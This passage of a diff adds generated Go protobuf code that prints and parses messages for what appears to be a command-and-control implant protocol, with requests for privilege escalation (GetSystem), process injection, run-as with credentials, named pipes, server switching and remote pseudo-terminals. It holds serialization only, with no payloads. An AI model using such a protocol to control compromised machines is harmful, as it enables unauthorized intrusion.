sb.WriteString(strconv.Quote(x.Type)) + } + if x.Service != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("service: ") + sb.WriteString(x.Service.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceRequest) String() string { + return x.MarshalProtoText() +} +func (x *ServiceConfig) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceConfig {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.DisplayName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("display_name: ") + sb.WriteString(strconv.Quote(x.DisplayName)) + } + if x.ExecutablePath != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("executable_path: ") + sb.WriteString(strconv.Quote(x.ExecutablePath)) + } + if x.StartType != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("start_type: ") + sb.WriteString(strconv.FormatUint(uint64(x.StartType), 10)) + } + if x.ErrorControl != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("error_control: ") + sb.WriteString(strconv.FormatUint(uint64(x.ErrorControl), 10)) + } + if x.AccountName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("account_name: ") + sb.WriteString(strconv.Quote(x.AccountName)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceConfig) String() string { + return x.MarshalProtoText() +} +func (x *ServiceStatus) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceStatus {") + if x.CurrentState != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("current_state: ") + sb.WriteString(strconv.FormatUint(uint64(x.CurrentState), 10)) + } + if x.ProcessId != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("process_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.ProcessId), 10)) + } + if x.ExitCode != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("exit_code: ") + sb.WriteString(strconv.FormatUint(uint64(x.ExitCode), 10)) + } + if x.Checkpoint != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("checkpoint: ") + sb.WriteString(strconv.FormatUint(uint64(x.Checkpoint), 10)) + } + if x.WaitHint != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("wait_hint: ") + sb.WriteString(strconv.FormatUint(uint64(x.WaitHint), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceStatus) String() string { + return x.MarshalProtoText() +} +func (x *Service) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Service {") + if x.Config != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("config: ") + sb.WriteString(x.Config.MarshalProtoText()) + } + if x.Status != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("status: ") + sb.WriteString(x.Status.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Service) String() string { + return x.MarshalProtoText() +} +func (x *ServicesResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServicesResponse {") + if len(x.Services) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("services: [") + for i, v := range x.Services { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServicesResponse) String() string { + return x.MarshalProtoText() +} +func (x *WmiQueryRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("WmiQueryRequest {") + if x.Namespace != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("namespace: ") + sb.WriteString(strconv.Quote(x.Namespace)) + } + if len(x.Args) > 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiQueryRequest) String() string { + return x.MarshalProtoText() +} +func (x *WmiMethodRequest_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiMethodRequest_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *WmiMethodRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("WmiMethodRequest {") + if x.Namespace != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("namespace: ") + sb.WriteString(strconv.Quote(x.Namespace)) + } + if x.ClassName != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("class_name: ") + sb.WriteString(strconv.Quote(x.ClassName)) + } + if x.MethodName != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("method_name: ") + sb.WriteString(strconv.Quote(x.MethodName)) + } + if len(x.Params) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiMethodRequest) String() string { + return x.MarshalProtoText() +} +func (x *RunAsRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RunAsRequest {") + if x.Username != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("username: ") + sb.WriteString(strconv.Quote(x.Username)) + } + if x.Domain != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("domain: ") + sb.WriteString(strconv.Quote(x.Domain)) + } + if x.Password != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("password: ") + sb.WriteString(strconv.Quote(x.Password)) + } + if x.Program != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("program: ") + sb.WriteString(strconv.Quote(x.Program)) + } + if x.Args != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("args: ") + sb.WriteString(strconv.Quote(x.Args)) + } + if x.UseProfile != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("use_profile: ") + sb.WriteString(strconv.FormatBool(x.UseProfile)) + } + if x.Netonly != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("netonly: ") + sb.WriteString(strconv.FormatBool(x.Netonly)) + } + if x.UseEnv != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("use_env: ") + sb.WriteString(strconv.FormatBool(x.UseEnv)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RunAsRequest) String() string { + return x.MarshalProtoText() +} +func (x *GetSystem) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("GetSystem {") + if x.Bin != nil { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *GetSystem) String() string { + return x.MarshalProtoText() +} +func (x *Inject) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Inject {") + if x.Bin != nil { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Inject) String() string { + return x.MarshalProtoText() +} +func (x *Pipe) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Pipe {") + if x.Name != "" { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Target != "" { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("target: ") + sb.WriteString(strconv.Quote(x.Target)) + } + if x.Data != nil { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Pipe) String() string { + return x.MarshalProtoText() +} +func (x *PipeRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PipeRequest {") + if x.Type != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Pipe != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("pipe: ") + sb.WriteString(x.Pipe.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *PipeRequest) String() string { + return x.MarshalProtoText() +} +func (x *Switch) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Switch {") + if len(x.Urls) > 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("urls: [") + for i, v := range x.Urls { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Switch) String() string { + return x.MarshalProtoText() +} +func (x *TaskCtrl) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskCtrl {") + if x.TaskId != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("task_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.TaskId), 10)) + } + if x.Op != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("op: ") + sb.WriteString(strconv.Quote(x.Op)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskCtrl) String() string { + return x.MarshalProtoText() +} +func (x *TaskInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskInfo {") + if x.TaskId != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("task_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.TaskId), 10)) + } + if x.Last != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("last: ") + sb.WriteString(strconv.FormatUint(uint64(x.Last), 10)) + } + if x.RecvCount != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("recv_count: ") + sb.WriteString(strconv.FormatUint(uint64(x.RecvCount), 10)) + } + if x.SendCount != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("send_count: ") + sb.WriteString(strconv.FormatUint(uint64(x.SendCount), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskInfo) String() string { + return x.MarshalProtoText() +} +func (x *TaskListResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskListResponse {") + if len(x.Tasks) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("tasks: [") + for i, v := range x.Tasks { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskListResponse) String() string { + return x.MarshalProtoText() +} +func (x *FFmpegRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("FFmpegRequest {") + if x.Action != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("action: ") + sb.WriteString(strconv.Quote(x.Action)) + } + if x.DeviceName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("device_name: ") + sb.WriteString(strconv.Quote(x.DeviceName)) + } + if x.OutputFormat != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output_format: ") + sb.WriteString(strconv.Quote(x.OutputFormat)) + } + if x.OutputPath != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output_path: ") + sb.WriteString(strconv.Quote(x.OutputPath)) + } + if x.Time != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("time: ") + sb.WriteString(strconv.Quote(x.Time)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *FFmpegRequest) String() string { + return x.MarshalProtoText() +} +func (x *PtyRequest_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyRequest_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *PtyRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PtyRequest {") + if x.Type != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.SessionId != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("session_id: ") + sb.WriteString(strconv.Quote(x.SessionId)) + } + if x.Shell != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("shell: ") + sb.WriteString(strconv.Quote(x.Shell)) + } + if x.Cols != 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("cols: ") + sb.WriteString(strconv.FormatUint(uint64(x.Cols), 10)) + } + if x.Rows != 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("rows: ") + sb.WriteString(strconv.FormatUint(uint64(x.Rows), 10)) + } + if x.InputData != nil { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("input_data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.InputData)) + sb.WriteString("\"") + } + if x.InputText != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("input_text: ") + sb.WriteString(strconv.Quote(x.InputText)) + } + if len(x.Params) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyRequest) String() string { + return x.MarshalProtoText() +} +func (x *PtyResponse_MetadataEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("MetadataEntry {") + if x.Key != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyResponse_MetadataEntry) String() string { + return x.MarshalProtoText() +} +func (x *PtyResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PtyResponse {") + if x.SessionId != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("session_id: ") + sb.WriteString(strconv.Quote(x.SessionId)) + } + if x.OutputData != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output_data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.OutputData)) + sb.WriteString("\"") + } + if x.OutputText != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output_text: ") + sb.WriteString(strconv.Quote(x.OutputText)) + } + if x.Error != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("error: ") + sb.WriteString(strconv.Quote(x.Error)) + } + if x.SessionActive != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("session_active: ") + sb.WriteString(strconv.FormatBool(x.SessionActive)) + } + if len(x.ActiveSessions) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("active_sessions: [") + for i, v := range x.ActiveSessions { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Metadata) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("metadata: {") + for _, k := range slices.Sorted(maps.Keys(x.Metadata)) { + v := x.Metadata[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyResponse) String() string { + return x.MarshalProtoText() +} +func (x *CommonBody) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("CommonBody {") + if x.Name != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if len(x.U32Array) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("u32_array: [") + for i, v := range x.U32Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatUint(uint64(v), 10)) + } + sb.WriteString("]") + } + if len(x.U64Array) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("u64_array: [") + for i, v := range x.U64Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatUint(uint64(v), 10)) + } + sb.WriteString("]") + } + if len(x.BoolArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bool_array: [") + for i, v := range x.BoolArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatBool(v)) + } + sb.WriteString("]") + } + if len(x.StringArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("string_array: [") + for i, v := range x.StringArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.BytesArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bytes_array: [") + for i, v := range x.BytesArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(v)) + sb.WriteString("\"") + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *CommonBody) String() string { + return x.MarshalProtoText() +} +func (m *Ping) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Ping: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Ping: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + m.Nonce = 0 + m.Nonce, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Register) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Register: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Register: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Proxy", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Proxy = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Module", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Module = append(m.Module, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Timer", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Timer == nil { + m.Timer = &Timer{} + } + if err := m.Timer.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sysinfo", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sysinfo == nil { + m.Sysinfo = &SysInfo{} + } + if err := m.Sysinfo.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Secure", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Secure == nil { + m.Secure = &Secure{} + } + if err := m.Secure.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Secure) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Secure: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Secure: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enable = bool(v != 0) + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return 